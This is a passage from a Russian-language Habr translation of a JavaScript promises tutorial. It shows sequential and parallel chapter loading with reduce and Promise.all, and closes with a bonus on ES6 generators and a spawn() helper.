addHtmlToPage(chapter.html);
});
}, Promise.resolve());
```
Здесь происходит то же самое, что и в предыдущем примере, но нам не надо выделять отдельную переменную для очереди за циклом. Наш редуцирующий колбэк вызывается для каждого элемента в массиве. Наша изначальная очередь, переданная при первой итерации, это `Promise.resolve()`, но при каждом следующем вызове колбэка ему передаётся результат предыдущего вызова. `array.reduce` очень удобно использовать когда надо массив привести к одному значению, например, обещанию, как в нашем случае.
Давайте сложим всё вместе…
```
getJSON('story.json').then(function(story) {
addHtmlToPage(story.heading);
return story.chapterUrls.reduce(function(sequence, chapterUrl) {
return sequence.then(function() {
// …запросим следующую главу
return getJSON(chapterUrl);
}).then(function(chapter) {
// и добавим её на страницу
addHtmlToPage(chapter.html);
});
}, Promise.resolve());
}).then(function() {
// Всё успешно загрузилось!
addTextToPage("Всё ок");
}).catch(function(err) {
// Перехватываем любую ошибку, произошедшую в процессе
addTextToPage("Что-то сломалось: " + err.message);
}).then(function() {
// И всегда прячем индикатор в конце
document.querySelector('.spinner').style.display = 'none';
});
```
И [вот оно](http://www.html5rocks.com/en/tutorials/es6/promises/async-example.html) свершилось! У нас есть полноценная асинхронная версия нашей задумки. Но не будем останавливаться на достигнутом. На данный момент загрузка нашей страницы выглядит примерно так:
Браузеры уже давно умеют грузить многие вещи одновременно, и мы теряем в производительности, загружая главы одну за другой. Что мы хотим сделать, так это чтобы все главы грузились в одно и то же время, а потом обработаем их, когда они все станут нам доступны. К счастью, API предоставляет нам такую возможность прямо из коробки:
```
Promise.all(arrayOfPromises).then(function(arrayOfResults) {
//...
});
```
`Promise.all` принимает массив обещаний и возвращает одно обещание, которое выполнится только тогда, когда все обещания завершатся успешно. Это общее обещание вернёт в колбэк `then` массив результатов каждого в том порядке, в каком ты их передал.
```
getJSON('story.json').then(function(story) {
addHtmlToPage(story.heading);
// Берём массив обещаний и ждём завершение всех
return Promise.all(
// Отображаем наш массив глав
// в массив обещаний возвращаемых getJSON
story.chapterUrls.map(getJSON)
);
}).then(function(chapters) {
// Теперь мы имеем массив глав в нужном порядке…
chapters.forEach(function(chapter) {
// …и добавляем их на страницу
addHtmlToPage(chapter.html);
});
addTextToPage("Всё ок");
}).catch(function(err) {
addTextToPage("Что-то сломалось: " + err.message);
}).then(function() {
document.querySelector('.spinner').style.display = 'none';
});
```
В зависимости от соединения, загрузка может быть значительно быстрее, чем когда ты грузишь главы [одну за другой](http://www.html5rocks.com/en/tutorials/es6/promises/async-all-example.html), и в этом примере меньше кода, чем в нашей предыдущей попытке. Главы могут грузиться в произвольном порядке, но на экране они появятся в нужной последовательности.
Как бы там не было, мы ещё можем чуть улучшить нашу воспринимаемую производительность. Когда придёт первая глава, мы можем добавить её на страницу, что даст пользователю возможность начать чтение пока догружаются оставшиеся главы. Если раньше всех придёт третья глава, нам бы не хотелось её выводить потому, что пользователь не поймёт, что первые пару глав пропущены. Поэтому мы будем по возможности выводить все главы последовательно по мере их загрузки.
Что бы реализовать это, мы запросим JSON’ы для всех наших глав одновременно, а потом создадим очередь для добавления их в документ:
```
getJSON('story.json').then(function(story) {
addHtmlToPage(story.heading);
// Отображаем наш массив глав
// в массив обещаний возвращаемых getJSON
// Это гарантирует нам, что главы будут запрашиваться параллельно.
return story.chapterUrls.map(getJSON)
.reduce(function(sequence, chapterPromise) {
// Используем редуцирование что бы связать в очередь обещания,
// и добавить каждую главу на страницу
return sequence.then(function() {
return chapterPromise;
}).then(function(chapter) {
addHtmlToPage(chapter.html);
});
}, Promise.resolve());
}).then(function() {
addTextToPage("All done");
}).catch(function(err) {
addTextToPage("Argh, broken: " + err.message);
}).then(function() {
document.querySelector('.spinner').style.display = 'none';
});
```
И так мы убили сразу [двух зайцев](http://www.html5rocks.com/en/tutorials/es6/promises/async-best-example.html). Мы одновременно запрашиваем весь контент, но при медленном соединении у пользователя есть возможность увидеть первую порцию чуть раньше.
В этом примитивном примере главы отображаются почти мгновенно, реальный выигрыш от этой техники можно увидеть на данных гораздо большего объёма.
Повторить всё вышесказанное в стиле колбэков и событий Node.js не так уж и просто и удвоит объём кода приблизительно [вдвое](https://gist.github.com/jakearchibald/0e652d95c07442f205ce). Так или иначе, это далеко не конец истории обещаний. Давай попробуем посмотреть как они будут работать в паре с другими новыми особенностями ES6…
#### Небольшой бонус: обещания и генераторы
Далее мы взглянем на небольшую пачку новых особенностей ES6, но они не нужны тебе для того, чтобы понять и начать использовать обещания уже сегодня. Воспринимай это как трейлер к грядущему блокбастеру.
ES6 так же даёт нам [генераторы](http://wiki.ecmascript.org/doku.php?id=harmony:generators). Они дают нам возможность выйти из функции в какой-либо точке, наподобие как это делает return, но позже мы можем продолжить выполнение с той же точки и того же состояния.
```
function *addGenerator() {
var i = 0;
while (true) {
i += yield i;
}
}
```
Обрати внимание на символ звёздочки перед именем декларируемой функции, она указывает, ей быть генератором. Ключевое слово `yield` это наша точка возврата\восстановления. Мы можем использовать объявленную выше функцию, например, вот так:
```
var adder = addGenerator();
adder.next().value; // 0
adder.next(5).value; // 5
adder.next(5).value; // 10
adder.next(5).value; // 15
adder.next(50).value; // 65
```
Но какие преимущества нам дают генераторы при работе с обещаниями? Прикинь, ты можешь использовать их поведение для того чтобы писать асинхронный код, выглядящий как синхронный. Сильно не переживай по поводу понимания каждой строчки нижеследующего примера. Там описана функция, которая даёт нам возможность использовать `yield` для ожидания выполнения обещания.
```
function spawn(generatorFunc) {
function continuer(verb, arg) {
var result;
try {
result = generator[verb](arg);
} catch (err) {
return Promise.reject(err);
}
if (result.done) {
return result.value;
} else {
return Promise.cast(result.value).then(onFulfilled, onRejected);
}
}
var generator = generatorFunc();
var onFulfilled = continuer.bind(continuer, "next");
var onRejected = continuer.bind(continuer, "throw");
return onFulfilled();
}
```
… она очень похожа на подобную [функцию из Q](https://github.com/kriskowal/q/blob/db9220d714b16b96a05e9a037fa44ce581715e41/q.js#L500), просто адаптирована под нативные обещания. С ней мы можем взять наш последний пример отображения глав и превратить его в вот это:
```
spawn(function *() {
try {
// 'yield' effectively does an async wait,
// returning the result of the promise
let story = yield getJSON('story.json');
addHtmlToPage(story.heading);
// Map our array of chapter urls to
// an array of chapter json promises.
// This makes sure they all download parallel.
let chapterPromises = story.chapterUrls.map(getJSON);
for (let chapterPromise of chapterPromises) {
// Wait for each chapter to be ready, then add it to the page
let chapter = yield chapterPromise;
addHtmlToPage(chapter.html);
}
addTextToPage("All done");
}
catch (err) {
// try/catch just works, rejected promises are thrown here
addTextToPage("Argh, broken: " + err.message);
}
document.querySelector('.spinner').style.display = 'none';
});
```
Этот код работает так же как и прежний, но читать его стало значительно легче. [Пример](http://www.html5rocks.com/en/tutorials/es6/promises/async-generators-example.html) уже сегодня будет работать в Chrome Canary, если ты включишь Enable experimental JavaScript в `about:flags`.
Этот пример объединяет много новых возможностей ES6: обещания, генераторы, `let`, `for-of`. И показывает как мы можем писать простой асинхронный код с нормальным `try/catch`.
Будущее уже близко. | https://habr.com/ru/post/209662/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.